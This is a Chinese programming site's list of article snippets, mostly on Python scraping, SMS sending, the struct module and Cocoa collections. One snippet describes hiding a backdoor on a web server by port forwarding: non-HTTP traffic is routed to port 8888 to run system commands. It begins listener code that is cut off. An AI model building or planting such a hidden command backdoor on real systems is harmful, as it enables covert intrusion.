搜索到与相关的文章
编程技术

NSArray,NSSet,NSDictionary总结

三种集合类来收集cocoa对象(NSObject对象):NSArray用于对象有序集合(相当于是数组)NSSet用于对象无序集合NSDictionary用于键值映射以上三种集合类是不可变的(一旦初始化后,就不能改变)以下是对应的三种可变集合类(这三种可变集合类是对应上面三种集合类的子类):NSMutableArrayNSMutableSetNSMutableDictionary注:这些集合类只能收集cocoa对象(NSOjbect对象),如果想保存一些原始

系统 2019-08-12 01:32:36 2465

Python

python爬虫实战:利用scrapy,短短50行代码下载整站短视频

点击上方“何俊林”,马上关注,每天早上8:50准时推送真爱,请置顶或星标近日,有朋友向我求助一件小事儿,他在一个短视频app上看到一个好玩儿的段子,想下载下来,可死活找不到下载的方法。这忙我得帮,少不得就抓包分析了一下这个app,找到了视频的下载链接,帮他解决了这个小问题。因为这个事儿,勾起了我另一个念头,这不最近一直想把python爬虫方面的知识梳理梳理吗,干脆借机行事,正凑着短视频火热的势头,做一个短视频的爬虫好了,中间用到什么知识就理一理。我喜欢把事

系统 2019-09-27 17:57:10 2464

Python

python基于socket进行端口转发实现后门隐藏的示例

思想:用户正常浏览器访问请求通过8080端口,请求若为http请求,则正常转发到80端口保证网站正常运行。否则转发到8888端口执行系统命令。8888端口监听代码:#!/usr/bin/envpythonfromsocketimport*importosHOST='127.0.0.1'PORT=8888BUFSIZE=1024ADDR=(HOST,PORT)tcpSerSock=socket(AF_INET,SOCK_STREAM)tcpSerSock.s

系统 2019-09-27 17:56:51 2464

Python

Python爬虫一则

就是个python爬虫就像爬个图看看源网站链接:http://www.setuw.com使用python编写,使用了threadpool等库,自行下载。环境:python3,win10,树莓派环境下测试通过网站元素结构代码#-*-coding:utf-8-*fromconcurrent.futuresimportThreadPoolExecutorimporturllib.requestimport_threadimportjsonimportthread

系统 2019-09-27 17:56:19 2464

Python

10 行 Python 代码教你自动发送短信(不想回复工作邮件妙招)

最近工作上有个需求,当爬虫程序遇到异常的时候,需要通知相应的人员进行修复。如果是国外可能是通过邮件的方式来通知,但国内除了万年不变的qq邮箱,大部分人都不会去再申请其他的账号,qq邮箱也是闲的蛋疼的时候才会瞄一眼。你还记得上次看邮箱的内容是什么时候吗?所以在国内最好的通知方式是通过手机短信,今天就教大家利用python10行代码实现短信发送。Twilio短信代理服务已经有非常多成熟的方案,比如国内的阿里云。这次我介绍的是国外的一个代理商「Twilio」,使

系统 2019-09-27 17:50:28 2464

Python

Python struct模块解析

python提供了一个struct模块来提供转换。下面就介绍这个模块中的几个方法。struct.pack():struct.pack用于将Python的值根据格式符,转换为字符串(因为Python中没有字节(Byte)类型,可以把这里的字符串理解为字节流,或字节数组)。其函数原型为:struct.pack(fmt,v1,v2,...),参数fmt是格式字符串,关于格式字符串的相关信息下面有所介绍。v1,v2,...表示要转换的python值。下面的例子将两

系统 2019-09-27 17:48:29 2464

Python

初始Python

本文收录在Python从入门到精通系列文章系列1.Python简介1.1Python的历史Python的创始人为吉多·范罗苏姆(荷兰语:GuidovanRossum)1989年的圣诞节期间:吉多·范罗苏姆为了在阿姆斯特丹打发时间,决心开发一个新的脚本解释程序,作为ABC语言的一种继承。之所以选中Python作为程序的名字,是因为他是BBC电视剧——蒙提·派森的飞行马戏团的爱好者。1991年2月:第一个Python编译器(同时也是解释器)诞生,它是用C语言实

系统 2019-09-27 17:48:07 2464

Python

Python 爬虫面试题 170 道

Python爬虫面试题170道最近在刷面试题,看了网络上大量的Python相关面试题后,我发现了这几个问题:有些还是Python2的代码回答的很简单,关键的题目没有点出为什么一些复制粘贴的代码根本就跑不通这几个问题相信大家深有体会吧,所以我决定针对市面上大多的Python题目做一个分析,同时也希望大家尽可能的做到举一反三,而不是局限于题目本身。通过本场我分享的这篇文章,你将获得如下知识点:掌握Python的基础语法语法常见的Python应用场景掌握Pyth

系统 2019-09-27 17:47:55 2464

Python

用Python实现将一张图片分成9宫格的示例

经常看到朋友圈或者空间里有朋友发布照片时,将朋友圈的照片切分为九宫格,参考了一些大神的博客资料,现整理如下;将图片分拆成九宫格的思路:读取图片->填充图片为正方形(fill_image函数)->将图片切分为9张(cut_image函数)->保存图片(save_image)->over代码实现如下:fromPILimportImageimportsys#将图片填充为正方形deffill_image(image):width,height=image.size

系统 2019-09-27 17:47:38 2464

Python

Python中关于使用模块的基础知识

一个模块可以在逻辑上组织Python代码。将相关的代码到一个模块中,使代码更容易理解和使用。模块是可以绑定和借鉴任意命名属性的Python对象。简单地说,一个模块是由Python代码的文件。一个模块可以定义函数,类和变量。模块还可以包括可运行的代码。例子:Python代码的模块名为aname通常位于一个名为aname.py。下面是一个简单的模块,support.py作为例子defprint_func(par):print"Hello:",parreturn

系统 2019-09-27 17:46:33 2464